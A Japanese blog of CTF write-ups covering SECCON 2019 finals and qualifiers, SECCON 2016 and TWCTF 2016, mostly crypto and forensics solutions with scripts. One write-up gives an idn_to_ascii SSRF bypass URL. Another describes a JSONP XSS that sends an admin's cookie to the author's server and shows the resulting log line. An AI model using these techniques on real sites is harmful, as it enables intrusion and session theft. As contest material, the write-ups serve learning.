SECCON 2019 国内本選 writeup

チーム「yharima」で、 SECCON 2019 の国内本選に出ていた。結果は 7 位。僕自身は、比較的解きやすい問題に手を付けたものの、それでも難易度が高くなかなかに手が出せる箇所が少ない状態が続いていた。解いたものについて write up。

Factor the flag

大きな数が一つ書いてあり、「大きな素数の中にフラグを隠した」と問題文が主張しているので、まずは素因数分解を試みた。13 と 97 で割れたが、その後残った数字の約数はざっくり探した範囲だと見つからなかった。factordb は「Probably Prime Number」という判定になっており、ほとんどの桁が 1 か 9 で例外は最後の 3 桁のみだった。

色々試みたものの、数全体をバイナリと解釈したり 1 と 9 を二進数の二文字とみなしたりしても “SECCON{” に当てはまりそうな解釈の仕方も見当たらなかった。ふと、 9 がたいてい何回か連続していて 9 が妙に少ないことなどが気になったのと、テキストエディタで狭目の幅で開いたりすると微妙にパターンがありそうに見えたので、 1 と 9 は白と黒として解釈することを試そうと思い、幅を変えながら 1 をスペース、9 を # にして表示していくと、途中でフラグが出てきた。

                                                                                                 |
                                       ##                                                 ##     |
 ###  #####  ###   ###   ###  #   #   #   #####  ###    ##   ###   ###  #####       ####    #    |
#   # #     #   # #   # #   # ##  #   #   #     #   #   ##  #   # #   #     #       #   #   #    |
#     #     #     #     #   # # # #   #   #     #   #  # #  #   # #   #    #        #   #   #    |
#     #     #     #     #   # #  ##   #   ####      #  # #      #  # #     #  ####  #   #   #    |
 ###  ####  #     #     #   # #   # ##        #    #  #  #     #    #     #   # # # ####     ##  |
    # #     #     #     #   # #   #   #       #   #   #  #    #    # #    #   # # # #       #    |
    # #     #     #     #   # #   #   #   #   #  #    #####  #    #   #  #    # # # #       #    |
#   # #     #   # #   # #   # #   #   #   #   # #        #  #     #   #  #    # # # #       #    |
 ###  #####  ###   ###   ###  #   #   #    ###  #####    #  #####  ###   #    # # # #       #    |
                                       ##                                                 ##     |
import sys
import math


num=1401111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111222079111111111111111111111111111111111111111111111222079112230890319889030880230880230889200120012002319889030879222080230880230890319887911122318879211992120012999912120013000013000013100892001200119912120012002208920013000011991211991112120012001199211991211991211991211991212001301010000120011991212001209300092001300001199211991111212001200119921199121199121199121199121200130010208012002318879112120929999112120929999121210318889200120011991223089031888919912119912120013000013100791111211992120920919912119921199121200130101111887912220791121299991211991211991212001300001200119911121200120012091992119921299992120013010099991112119911112129999121199121199121200130000120012001200120919922319888919921200120919921301009999111211992120012999912120013000013000013000012001200120012999911112120919912120012091992130100999911121199122308903198890308802308802308892001200119922308903198879212103198890308801199213010099991112119911111111111111111111111111111111111111122207911111111111111111111111111111111111111111111122207911111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111239593

i = 1
while num != 1 and i < 100000:
    i += 1
    while num %  i == 0:
        print i
        num = num / i

cand_ramaining = -1

for i in range(0, 256):
    if (i * ord('}')) % 256 == num % 256:
        cand_remaining = i

#print cand_remaining
print num

s = str(num)

for i in range(2,len(s)):
    print i
    for j in range(1,len(s)):
        if s[j] == '9':
            sys.stdout.write('#')
        else:
            sys.stdout.write(' ')

        if j % i == 0:
            sys.stdout.write('|\n')
    a = raw_input()

num2 = 0
while num > 0:
    d=0
    if num % 10 == 9:
       d=1
    num2 = num2 * 2 + d
    num /= 10

num2 = num2 / 128
a = []
while num2 > 0:
    a.insert(0, num2 % 256)
    num2 = num2 / 256

#for i in range(0, len(a)):
#    sys.stdout.write(chr(a[i]))
exit()

lo = 1
hi = num

while lo < hi:
    mid = (lo + hi ) /2
    if mid * mid == num:
        lo = mid
        hi = mid
        break
    if mid * mid < num:
        lo = mid + 1
    else:
        hi = mid - 1
i = hi + 1

while num != 1:
    while num %  i == 0:
        print i
        num = num / i
    i -= 1

syzbot panic

基本的に syzbot 関係の問題が書いてあり、 Q1 – Q5 の答えをつなぎ合わせたものがフラグ、という問題。Q1 は syzbot 自体の管理アプリの URL (の FQDN)を答える問題で、 Q2-Q5 は syzbot で見つけたバグや syzbot 自体に当てられたパッチのハッシュの先頭 10 文字を答える問題。

Q1 は syzbot で検索すると https://syzkaller.appspot.com/ にあるようだったが、 https://www.syzkaller.appspot.com/ にもヒットした。ただし、 www. がついている方がサーバが見た目としては FQDN っぽさはあるものの、後者は TLS 証明書が正しく認識できず、ドメイン名自体は前者の方が正しいと言えるように思えた。

フラグの形式が SECCON{$answer_for_Q1+$answer_for_Q2+$answer_for_Q3+$answer_for_Q4+$answer_for_Q5}と示されており、これが 73 文字と示されていた。Q2-Q5はそれぞれ git のハッシュの先頭 10 文字なので、数えてみると syzkaller.appspot.com が正解なら “+” は必要、 www.syzkaller.appspot.com が正解なら “+” は結合を示すために書いてあるだけで不要ということになる。+ は直観的には書かないのではないかと思っていたが、わざわざ $ で、文字列に埋め込める変数名っぽい書き方をしているあたりどちらの可能性もあった。結局、二通りならどちらも試せばよいか、ということで提出する時に考えることにした。結論としては syzkaller.appspot.com にして、 + はつける、が正解だった。

Q2 はマルチスレッド環境下でカーネルのメッセージを正しく読めないものに対する、 Tetsuo Handa 氏によるパッチのハッシュを答えよ、というものだった。

最初に 検索すると LKML に LKML: Tetsuo Handa: Re: [PATCH] x86: Avoid pr_cont() in show_opcodes() という投稿が出てきて、これがあてはまりそうだと判断していた。その後 Q4 について調べているときに、セキュリティ・キャンプ全国大会2019 解析トラック E5 The SYZBOT CTF 2019.8.5 という記事に関連する記述があることを見つけ、特に Q4 も Tetsuo Handa 氏が関わっている話題であることがわかったこともあり Q2, Q4 ともこの記事の関係者による作問であることが推測できた。

そのため、 Q2 は x86: Avoid pr_cont() in show_opcodes() · torvalds/linux@8e974b3 のパッチを当初はフラグとして送ろうとしたが、不正解だった。調べなおしたところ、 kernel/git/torvalds/linux.git – Linux kernel source tree に直したら通った。

Q3 についてはなかなかよくわからなかったが、他の Q について調べている間に他のチームメンバーが BUG: workqueue lockup (2)kernel/git/torvalds/linux.git – Linux kernel source tree が関連しそうとのリンクを見つけて Discord に貼ってくれたので、これで提出した。

Q4 については Q2 で挙げた セキュリティ・キャンプ全国大会2019 解析トラック E5 The SYZBOT CTF 2019.8.5 が見つかり、これの 6.1 章のリンク先から Re: INFO: task hung in __sb_start_write – Tetsuo Handaprog: sanitize calls after hints mutation · google/syzkaller@06c33b3 に辿り着き、このコミットで提出した。

Q5 については struct とか syzbot とかのキーワードで色々検索していた結果、 LKML: Dmitry Vyukov: Re: BUG: unable to handle kernel NULL pointer dereference in mem_serial_out というページが見つかり、 Q2 や Q4 と同じく Tetsuo Handa 氏によるメールが出てきたうえに当該の原因の特定はわずか数日前の新鮮なネタであることがわかった。リンク先の https://github.com/google/syzkaller/blob/master/sys/linux/dev_ptmx.txt.warn#L20-L25 自体は該当部分ではなかったものの、ここ一週間とかのことのようなので、この syzkaller リポジトリのコミット履歴を新しいほうから見たところ、 tools/syz-check: add description checking utility · google/syzkaller@64ca0a3 が見つかった。これで提出。

SECCON{syzkaller.appspot.com+15ff2069cb+966031f340+06c33b3af0+64ca0a3711}

壱(1)

Jeopardy 以外の問題は記憶の限りでは名前はなく、番号だけだったが、一度 TCP に繋いだ後 UDP のパケットを指示に従って送り続ける問題。

問題のサーバのチームごとに一位に定まるポート番号(yharima チームは 25000)に接続する案内と、プロセスのバイナリが置いてあり、問題文に「全チームが点数を得られなくなった場合とトラブルを除いて、チームのサービスプロセスがおかしな状態になってもプロセスは再起動しない」旨の警告があった。

実際に 25000/tcp に接続すると、トークンを聞かれ、適当に答えると次につなぐべき(今度は UDP の)ポートを案内された。またこの時点で、 Attack Flag は降ってきた(Attack Flag: SECCON{P13453 +4K3 C4R3})。しかし、一度繋いでポート番号を得るとそのチームは次に 25000/tcp に繋いでも何も出ないようだ。

案内された次に繋ぐべき UDP ポートにトークンを送るとまた次のポートが案内され、しばらく手動で繰り返すと “You Lose!” という案内が来た。

バイナリを読んでいた yuta1024 とこの話をしていたところ、どうやら制限時間があるようだった。

しかし、このプロセス、一度他のポートで待ち受けている状態になると 25000/tcp では繋がりすらせず、さらに言えば You Lose! のあとも(この時点で逆アセンブリされたコードを読んだ yuta1024 は You Lose! のあとは元に戻るはずと言っていたし、後から Hopper で逆アセンブルした僕が見ても元に戻るはずだと判断したが、この時は何が起こっているかわからなかった)一切応答がなくなって何もできなくなった。再起動はしない、の警告の理由がようやくわかったが、要はどうにもならないのか、とこの時は判断した。しかし、しばらく放置するとなぜか接続が復活した(今から考えればプロセスが再起動されていると判断されることが、これに限らず何度かあったが、条件は謎)。ただ、どういう条件で復活するのかは全くわからなかった。幸い、 25000/tcp が割り当てられたチームに対しては 25000-25999 の udp しかこないことだけはわかった。

とはいえ、偶然の復活に期待して進めていたところ、ある程度自動化して20秒(これが繰り返すと縮まることを、この時はまだ知らない)以内に10回返信すれば、最初に指定したトークンが Defense Flag (5分ごとにチームごとの Defense Flag が特定の場所にあるかチェックされ、特定の場所に含まれていると点数が入る。チェック作業が完了するとチームごとに書き込むべき Flag は変更される。これ自体は参加者全員に対し、全チーム分が公開情報。)として追記される。すなわち、解き方自体は、「自分のチームの Defense Flag を取得し、それを認証トークンとして 25000/tcp に投げたあと、指示されるポートに投げては返信されるポートに追随する」を繰り返すことであることがわかった。ただし、一日目はサーバの状態を見失い、できることがなくなった。

二日目の開始時刻である 10:00 になり、一度でもおかしなことをすると二度と解けなくなるリスクを認識していたのでプロセスが不完全な状態でパケットを投げることを恐れてしばらく待ってからここまでの成果を投げたところ、これはうまくいった。しかし、しばらくするとこれも動かなくなっていた。いつの間にか制限時間が20秒から1秒になっていた。結局色々追うと、プロセスが生きている限り一度繋ぐたびに制限時間が1秒ずつ減る(1秒になったらそれ以上は減らない)ようだった。

また、見失う現象についてもわかったことがあった。 25000/tcp で accept して、次のポートを案内した後は、 10 回謎ポートでトークンつきでノックするまで 25000/tcp で次の accept をしないので、変なパケットがサーバ側のキューに残っているとクライアント側でまた新規受付扱いされてしまい、10 回謎ポートをやり直ししないといけなかった。幸い、 25001-25999 であることはわかっていたし、運よく再度つながる状態に戻ったタイミングの繰り返しで培った謎ノウハウでトークンもローカルのファイルに都度保存するようにしたので、 25001-25999 の全ポートにトークンを投げつつ一度でもヒットすればあとは次のポートへの接続をする「復活スクリプト」も温まってきた。偶然失敗したがポート番号だけはわかっている場合用に、もっと速いスクリプトも用意した。少しミスしただけでも 1000 ポートに対する試行、しかも失敗した時点での Defense Flag の候補が複数ある場合はその数だけ試す必要があるが、それでも手も出せない状態と違って自力で復活を試みれた。

ただし 1 秒の制限は結局突破できなかった。2秒になるまでは進んだし、その状態でローカル計測で運が良ければ 0.9 秒までは短縮できたものの、実際にそれで 1 秒制限を通すことはできなかったようで、制限が 1 秒になってからは一度も突破できなかった。

CTF オンサイト会場は東京の秋葉原にあり、チームに割り当てられた IP アドレスはオンサイト会場に設置されたチーム用のルーターから接続する必要があった。一方でこの LAN からインターネットに出た場合のグローバル IPv4 アドレスは whois でも SAKURA-ISHIKARI という netname がついており、 CTF のサーバもこの部屋のネットワークの経路も何もかも北海道石狩市にあることが容易に想像できた。この問題のサーバへの RTT も 20ms を超えており、加えて前のポートへの接続で次のポート番号を経てから 59ms 程度 sleep しないと次のポートへの接続が失敗することがある(次のポート番号を送ってから、実際に bind するまでに時間がかかる。UDP のためクライアント側もそれに気づかない。短めでも毎回は起こらないが、なんとか一度も起こさず通せると判断したラインがローカルでは 59ms だった)ことも試行でわかり、それだけで 10 往復で 0.9 秒以上かかるのでかなり絶望的だった。何度かローカル計測で 0.95 秒未満までは達成した気がするが、結局のところ、ラップトップの省電力を解除したり、仮想マシンのネットワークを NAT からブリッジに切り替えたりしても、ついに 1 秒制限で実際に通すことはできなかった。シェルで書いていたかつ失敗の復旧に時間がとられていて C 言語への書き換えなどの作業をするどころではなかったが、何らかの書き換えを行い、投機的にパケットを何度か投げて全部のパケットを後から回収すれば 1 秒制限でも可能性はあったかもしれない。そしてそうこうしているうちにうちのチームのサーバがおかしな状態になり、どの defense flag を token としているうちにおかしくなったのかもよくわからなくなり色々試しているうちにコンテストが終わってしまった。

最終的に使った(2秒制限までは通ったが、1秒制限は通らなかった)コードは以下の通り。

#!/bin/bash -x

sync

# PHPSESSID は今となっては何の価値もないセッション ID のはずではあるが、コンテストの説明で何度もスコアページの権限を厳重に管理するよう何度も二か国語で説明があったので、コンテストの趣旨に則り伏せた。
defense_key=$(curl -b 'PHPSESSID=CENSORED' http://score-dom.seccon/flagwords/ | grep yharima | grep -v 'Team Name' | sed -e 's/<th>yharima<\/th><td>//' -e 's/<\/th><\/tr>//')

echo $defense_key
echo $defense_key >> defense_keys.txt

echo $defense_key | timeout 2 nc 10.1.1.1 25000 > output.txt
cat output.txt
cp output.txt output2.txt
cat output.txt >> output_all.txt

port=$(cat output.txt | grep 'first port is' | sed -e 's/^.*first port is //' -e 's/, time .*$//')
echo $port

start_time=$(date +%H:%M:%S.%N)

while true
do
  flag=F
  for i in 1 2 3
  do
    portstr=$(echo $defense_key | timeout 0.11 nc -u 10.1.1.1 $port | dd bs=18 count=1)
    #echo $portstr >> /dev/shm/output_all.txt
    if [ "a$portstr" != "a" ]
    then
      break
    fi
    echo -e '\e[31mRETRY\e[m'
  done
  port=$(echo -n $portstr | tail --bytes +14)
  echo $port
  if [ "x$portstr" = "x" ]
  then
    echo -e '\e[31mSURVEY NEEDED\e[m'
    exit 1
  fi
  if [ "$portstr" = "You Won!" ]
  then
    echo $start_time
    date +%H:%M:%S.%N
    echo -e '\e[32mSUCCEEDED\e[m'
    exit 0
  fi
  if [ "$portstr" = "You Lose!" ]
  then
    echo $start_time
    date +%H:%M:%S.%N
    echo -e '\e[31mYOU LOSE\e[m'
    exit 1
  fi
  sleep 0.059
done

なお、懇親会中に、このコンテストに関わった Network Operation Center の方々の紹介の時間があり、その際に改めて思い出したが、このコンテストのネットワーク環境は極めて安定しており、快適だったと感じる。インターネット接続でストレスを感じることがなかったし、コンテスト関係のシステムに繋ぎに行くのにもストレスを感じることもなかった。しかし、改めて思えば、東京都から北海道石狩市は通常でも 20ms 以上の RTT が必要な距離なのに、 UDP の問題を純粋に解くコードも回復スクリプト等も timeout 0.12 nc -u 10.1.1.1 $port_num のような感じで「東京秋葉原から UDP パケットを投げ、 120ms 以内に石狩市のサーバから返事が返ってこないと失敗扱い(しかも、失敗が正しいと見做して次に進むので、あとになって結果が間違いとわかる)」という処理を乱発しても、気付く範囲での問題が発生しない程度の安定したネットワークが保たれていた。コンテスト中はぎりぎりまで詰めることしか頭になかったが、冷静に考えたら 120ms で何もかも捨てるスクリプトは色々おかしいし、これが動いたのはネットワークが相当安定していたからだと思う。このコンテストの関係者の方は全員に感謝したいが、中でもこのネットワーク管理(しかも今回からクラウド移行したという)の関係の方には賛辞を送りたいと思う。

(追記)チームメンバーの write up

SECCON CTF 2019 国内決勝 writeup – yuta1024’s diary
SECCON 2019 国内決勝 writeup – liniku’s blog

SECCON 2019 予選 write up

チーム「yharima」で SECCON 2019 CTF の予選に参加していた。1954点、45位だった。

coffee_break

暗号化スクリプトと、暗号文がおいてある。鍵も置いてあるので、読みながら順番に元に戻すコードを書いて復元する。

import sys
from Crypto.Cipher import AES
import base64


def encrypt(key, text):
    s = ''
    for i in range(len(text)):
        s += chr((((ord(text[i]) - 0x20) + (ord(key[i % len(key)]) - 0x20)) % (0x7e - 0x20 + 1)) + 0x20)
    return s

def decrypt(key, text):
    s = ''
    for i in range(len(text)):
        s += chr((((ord(text[i]) - 0x20) - (ord(key[i % len(key)]) - 0x20) + (0x7e-0x20+1)) % (0x7e - 0x20 + 1)) + 0x20)

    return s


key1 = "SECCON"
key2 = "seccon2019"
#text = sys.argv[1]

#enc1 = encrypt(key1, text)
cipher = AES.new(key2 + chr(0x00) * (16 - (len(key2) % 16)), AES.MODE_ECB)
#p = 16 - (len(enc1) % 16)
#enc2 = cipher.encrypt(enc1 + chr(p) * p)
#print(base64.b64encode(enc2).decode('ascii'))

crypted='FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905'
crypt_raw=base64.b64decode(crypted)
enc1 = cipher.decrypt(crypt_raw)

enc1 = enc1[:-5]

print decrypt(key1, enc1)

SECCON{Success_Decryption_Yeah_Yeah_SECCON}

Option-Cmd-U

繋ぐと、指定した URL に接続し、取得した HTML を表示してくれる。ソースコードも公開されている。フラグは /flag.php にあるが、こちらは内部ネットワークからしか見れないとのこと。Docker で構成され、 http://nginx/ に繋げばよさそうな雰囲気が漂っているが、 IP アドレス確認で nginx と一致するとはじかれる仕様になっている。

当該ソースコードには、以下のような部分があった。

                        $url = filter_input(INPUT_GET, 'url');
                        $parsed_url = parse_url($url);                        
                        if($parsed_url["scheme"] !== "http"){
                            // only http: should be allowed. 
                            echo 'URL should start with http!';
                        } else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {
                            // local access to nginx from php-fpm should be blocked.
                            echo 'Oops, are you a robot or an attacker?';
                        } else {
                            // file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/
                            highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46),
                                                               false,
                                                               stream_context_create(array(
                                                                   'http' => array(
                                                                       'follow_location' => false,
                                                                       'timeout' => 2
                                                                   )
                                                               ))));
                        }

ここで、 idn_to_ascii という処理を挟んでいるが、ドメイン部をチェックする部分まではよかったものの、その後 file_get_contents で中身を取得する際に URL 全体に対してこの処理をかけてしまっていることに気付く。/や:も生き残るようなので、「正しく URL を解釈した場合にはホスト名が nginx にならず」「URL 全体を idn_to_ascii してしまったら、 nginx につながる URL になる」ような URL を渡すことになる。

全角文字をつけると、ピリオドで区切られた範囲で最初に xn-- が、最後に全角文字を変換した文字が入るので、 http://a:.b@あnginx/ などとするとxn-- は @ の前のパスワード部に、全角文字を変換したものは / のあとになるので、ホスト名をだますことまではできたが、 flag.php のピリオドが邪魔でなかなかうまくいかなかった。

試行錯誤の結果 http://a:hb.@¡nginx:80./flag.php が http://a:hb.xn--@nginx:80-qja./flag.php に変換させるところまではいけたが、 PHP の file_get_contents はポート番号は先頭が数字ならそこだけ解釈するものの、 5 文字以下でないと形式として認識しないようで、うまくいっていなかった。( ¡ は調べた限り idn_to_ascii が返還対象にする中では一番若い Unicode 番号を持っており、これ以上の短縮は厳しいように思えた)

これをチャットに貼ってしばらく悩んでいたところ、チームメンバーが http://a:.@✊nginx:80.:/flag.php なら通るということに気付き、フラグが得たようだ。変換後は http://a:.xn--@nginx:80-5s4f.:/flag.php となり、ポート番号らしき箇所が二つあるが、 PHP はそういうことは気にしないようだ。

SECCON{what_a_easy_bypass_314208thg0n423g}

SPA

過去の SECCON のフラグの一覧が表示され、 2019 年の物に関しては SPA の項目だけあるがフラグが「??????」が震えている表示になるページが表示された。そして、 admin への report 機能がついており、ここに URL を入れると(たとえ外部 URL であっても)admin からヘッドレスブラウザでアクセスが来るようだった。

中を見るとVue で構成されており、# 以下の fragment 部分で切り替わるようになっていた。this.contest = await $.getJSON(`/${contestId}.json`) のようにデータを読み込んでおり、 contestId は fragment のため、ここを書き換えることで外部サーバも含め好きな json にアクセスさせることはできた(例えば http://spa.chal.seccon.jp:18364/#/example.com/a を reportすると、コンテスト情報取得で http://example.com/a.json につなぎにくる)。アクセスを受ける側で Access-Control-Allow-Origin を指定すると、 JSON に書かれた好きな内容を表示させられた。

ただし、基本的には Vue の機能でテンプレートを構成しているので、表示をおかしくすることはできても XSS には至らなかった。他に何かないのかと思い、怪しい部分に近い jQuery の getJSON のドキュメントを見てみると、 “callback=?” が URL に含まれる場合には JSONP として解釈する、といったことが書かれていた。

ということで、 http://spa.chal.seccon.jp:18364/#/example.com/a.js?callback=?& にアクセスさせることで、 js ファイルに書かれた好きな内容を admin に実行させることができた。最初は admin には今年のフラグが見えるのかと思って今年のフラグを遅らせたら null のままで、ならまず管理画面を見られるか試そうと思い document.cookie を送らせたら次のようなリクエストが来たので、 Cookie の中身がフラグだった(”自分のサーバ/a/” + document.cookie にリダイレクトした)。

153.120.128.21 - - [20/Oct/2019:03:33:39 +0900] "GET /a/flag=SECCON%7BDid_you_find_your_favorite_flag?_Me?_OK_take_me_now_:)} HTTP/1.1" 404 209 "http://spa.chal.seccon.jp:18364/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3941.4 Safari/537.36"

SECCON 2016 Online CTF Writeup

SECCON 2016 Online CTF にチーム「yharima」で参加していました。なかなか難しい問題が多く、まだまだ勉強せねば、という感じがしました。145位、500点でした。

VoIP

pcap ファイルが渡されるので Wireshark で開き、 VoIP 機能で開くと音が再生できてフラグをしゃべっていた。少し聞き取りづらかったが、がんばって聞き取って提出。

Memory Analysis

メモリダンプがおかれており、 volatility というツールがヒントに書かれている。

偽の svchost がアクセスしているウェブサイトを調べてほしい、そのサイトに行けばフラグが手に入る、というもの。また、ヒントには「hosts」とも書いてあった。

volatility の使い方を軽く確認したあと、ウェブサイトを見ていると書いてあるのでまずは通信内容を確認した。

$ volatility_2.5_linux_x86 -f ./forensic_100.dat --profile=WinXPSP2x86 connections
Volatility Foundation Volatility Framework 2.5
Offset(V)  Local Address             Remote Address            Pid
---------- ------------------------- ------------------------- ---
0x8213bbe8 192.168.88.131:1034       153.127.200.178:80        1080

IP アドレスはわかったが、繋ぎに行っても nginx の初期インストール画面のようなものが表示されたので、「hosts」というヒントを元に C:\Windows\System32\drivers\etc\hosts を探すことに。filescan や dumpfiles を試みたがなかなか手に入らないので、最終的にはstrings して「153.127.200.178」で grep した。

$ strings forensic_100.dat | grep 153.127.200.178
153.127.200.178    crattack.tistory.com attack.tistory.com 
153.127.200.178    crattack.tistory.com 
153.127.200.178:80

ホスト名は候補が二つに絞られたが、 /etc/hosts を手元に書いてこのホスト名・IPアドレスの組み合わせにつないでもまだフラグはない。いろいろ見ているうちに、 HTTP をしゃべっている内容のようなものが見えていたので、このやり取りもまだメモリに残っているのでは、ということで “GET /” を探した。

$ strings forensic_100.dat | grep 'GET /' 
GET /image/237C0C3E576BA0AD06F720 HTTP/1.1
GET /entry/Data-Science-import-pandas-as-pd HTTP/1.1
GET /entry/Data-Science-import-pandas-as-pd HTTP/1.1
GET /entry/Data-Science-import-pandas-as-pd HTTP/1.1
GET /entry/Data-Science-import-pandas-as-pd HTTP/1.1

ようやく URL がわかったので、 アクセスするとフラグ。

$ curl http://attack.tistory.com/entry/Data-Science-import-pandas-as-pd
SECCON{_h3110_w3_h4ve_fun_w4rg4m3_}

Anti-Debugging

バイナリファイルが渡され、調べてみると Windows の exe ファイルだったので Windows 上で起動。起動するとパスワードを聞かれ、パスワードが違うと言われた。

Windows のバイナリデバッグはしたことがなかったので、全体的に yuta1024 に手伝ってもらって(というよりほぼ教えてもらって)実施。まずは OllyDbg をインストールした。

OllyDbg には上の画像のような文字列検索機能があり、それぞれ参照元の命令がある場所も検出できた。パスワードが違う的なエラーの周辺で、色々している判定っぽい処理があったので、そこで一旦止めると “I have a pen.” という文字列がメモリ上にあった。これがパスワードではないかと推測して入力すると表示が変わり、今度はデバッグ環境であることが検出された。デバッグではない環境で実行するとパスワードが正しいと言われたが何も表示されなかった。

エラーメッセージには OllyDbg や VMware などいろいろなものが書かれており、その少し前のコードを見るとだいたい直前に「CMP DWORD PTR SS:[***],*」「JNZ SHORT bin.********」の二つを実施しており、おそらくは正規の実行では通らないようになっていたので、 OllyDbg の機能で JNZ を JMP に(命令の一バイト目を 0x75 から 0xEB に)書き換えた。

すると、今度はゼロ除算で落ちるようになった。その部分の IDIV 命令(上の画像の 0x4015DE)だけ NOP で塗りつぶすと、何もしないで正常終了するようになった。文字列一覧では暗号化されたフラグと思わしき意味ありげな文字列があったので、その参照元を見るとその IDIV と同じ関数の少し下にあった。

そのため、落ちる IDIV から、フラグと思わしき文字列の参照元の直前までを NOP で塗りつぶして実行すると、フラグが出力された。

(追記)同じチームのメンバーの writeup です。

SECCON 2016 Online writeup – yuta1024’s diary

Tokyo Westerns/MMA CTF 2nd 2016 writeup

Tokyo Westerns/MMA CTF 2nd 2016に yharima チームで参加していたので自分が解いた分の writeup です。510点、105位でした。

Super Express

以下のようなソースコードと、それで暗号化されたデータが渡された。

import sys
key = '****CENSORED***************'
flag = 'TWCTF{*******CENSORED********}'

if len(key) % 2 == 1:
    print("Key Length Error")
    sys.exit(1)

n = len(key) / 2
encrypted = ''
for c in flag:
    c = ord(c)
    for a, b in zip(key[0:n], key[n:2*n]):
        c = (ord(a) * c + ord(b)) % 251
    encrypted += '%02x' % c

print encrypted

鍵が長いが、よく見ると一文字ごとに暗号化している。251は素数なので、結局平文mに対して、色々な a,b (鍵の一文字一文字)で
  c = am + b \mod p
を繰り返していることになる。素数を法とした世界での線形な写像なので、どこかで一定の値で固定されるのでなければ(暗号文を見る限り違う)全体を
  C = Am + B \mod p
の一つの暗号とみなして問題ない(さらに言うとここまでの発想も、一部は実際には全体が一つの写像に落とし込めることに気付いてから、これが解けるのであればこうだろう、と考えた)

先頭が「TWCTF{」であることはわかっているので、わかっている二文字から係数を計算して逆元を計算して、 offset を調整して解くとフラグ。

import sys

intxt = sys.stdin.readline()

# cf: http://arc360.info/algo/privatekey.html
def euclidean(x, y):
	x1 = 1
	y1 = 0
	z1 = x
	x2 = 0
	y2 = 1
	z2 = y

	while z2 != 1:
		q = (z1 - (z1 % z2)) / z2
		x1 = x1 - q * x2
		y1 = y1 - q * y2
		z1 = z1 - q * z2

		x1, y1, z1, x2, y2, z2 = x2, y2, z2, x1, y1, z1

	while x2 < 0:
		x2 += y
	
	return x2

d1 = euclidean(156, 251)
ret=''
for i in range(0,len(intxt) / 2):
	cur=0
	ta = intxt[i*2]

	if ta=="\n":
		break
	if ord(ta)>=ord('a'):
		cur+=ord(ta)-ord('a')+10
	else:
		cur+=ord(ta)-ord('0')
	cur*=16

	ta = intxt[i*2+1]

	if ta=="\n":
		break
	if ord(ta)>=ord('a'):
		cur+=ord(ta)-ord('a')+10
	else:
		cur+=ord(ta)-ord('0')
	ret+= chr((d1 * cur + 67 - 16) %251)
print ret

Twin Primes

RSA 暗号。双子素数二組 (p, p+2), (q, q+2) を元に、 N1 = pq, N2 = (p+2)(q+2) が公開鍵として採用されている(N1, N2, eが公開)。

N2 と N1 がわかっていて、どちらも展開すると pq を含むので、

  N_2 - N_1 \\  = (p+2)(q+2) - pq \\  = 2(p+q)+4

つまり、
  p+q = \cfrac{(N_2-N_1) - 4}{2} \\  pq = N_1

和と積がわかったので、二次方程式で解くことができる。二次方程式の公式を久しぶりに検索して計算。

n1 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935184448638997877593781930103866416949585686541509642494048554242004100863315220430074997145531929128200885758274037875349539018669336263469803277281048657198114844413236754680549874472753528866434686048799833381542018876362229842605213500869709361657000044182573308825550237999139442040422107931857506897810951
e1 = 65537

n2 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935757418867172314593546678104100129027339256068940987412816779744339994971665109555680401467324487397541852486805770300895063315083965445098467966738905392320963293379345531703349669197397492241574949069875012089172754014231783160960425531160246267389657034543342990940680603153790486530477470655757947009682859
e2 = 65537

cipher = 7991219189591014572196623817385737879027208108469800802629706564258508626010674513875496029177290575819650366802730803283761137036255380767766538866086463895539973594615882321974738140931689333873106124459849322556754579010062541988138211176574621668101228531769828358289973150393343109948611583609219420213530834364837438730411379305046156670015024547263019932288989808228091601206948741304222197779808592738075111024678982273856922586615415238555211148847427589678238745186253649783665607928382002868111278077054871294837923189536714235044041993541158402943372188779797996711792610439969105993917373651847337638929
# cf: http://arc360.info/algo/privatekey.html
def euclidean(x, y):
	x1 = 1
	y1 = 0
	z1 = x
	x2 = 0
	y2 = 1
	z2 = y

	while z2 != 1:
		q = (z1 - (z1 % z2)) / z2
		x1 = x1 - q * x2
		y1 = y1 - q * y2
		z1 = z1 - q * z2

		x1, y1, z1, x2, y2, z2 = x2, y2, z2, x1, y1, z1

	while x2 < 0:
		x2 += y
	
	return x2

def find_root(x):
	lo = 1
	hi = x

	while lo < hi:
		mi = (lo + hi) / 2

		if mi * mi > x:
			hi = mi - 1
			continue

		if mi * mi < x:
			lo = mi + 1
			continue
		
		if mi * mi == x:
			lo = mi
			hi = mi
	
	if lo * lo == x:
		return lo
	else:
		return -1

def decrypt_rsa(N, e, d, cipher):
	c_powers = [cipher]
	cur_power = 1

	while cur_power <= d:
		tmp = c_powers[len(c_powers) - 1]
		c_powers.append((tmp * tmp) % N)
		cur_power *= 2

	cur_power = 1
	cur_pos = 0
	ans = 1

	while cur_power <= d:
		if d & cur_power > 0:
			ans *= 	c_powers[cur_pos]
			ans %= N
		cur_pos += 1
		cur_power *= 2

	return ans

wa = ((n2-n1)-4)/2

p = (wa + find_root(wa * wa - 4 * n1)) / 2
q = (wa - find_root(wa * wa - 4 * n1)) / 2

d1 = euclidean(e1, (p-1)*(q-1))
d2 = euclidean(e2, (p+1)*(q+1))

ans = decrypt_rsa(n1, e1, d1, decrypt_rsa(n2, e2, d2, cipher))
ans_array = []
while ans:
	ans_array.append(chr(ans % 256))
	ans /= 256

ans_array.reverse()

print ''.join(ans_array)

glance

横幅がとても狭く高速で何かが流れるアニメーション GIF に対し「電車のドアの隙間から見えた」旨。アニメーションを展開して画像を結合。

$ convert +adjoin glance.gif part.gif
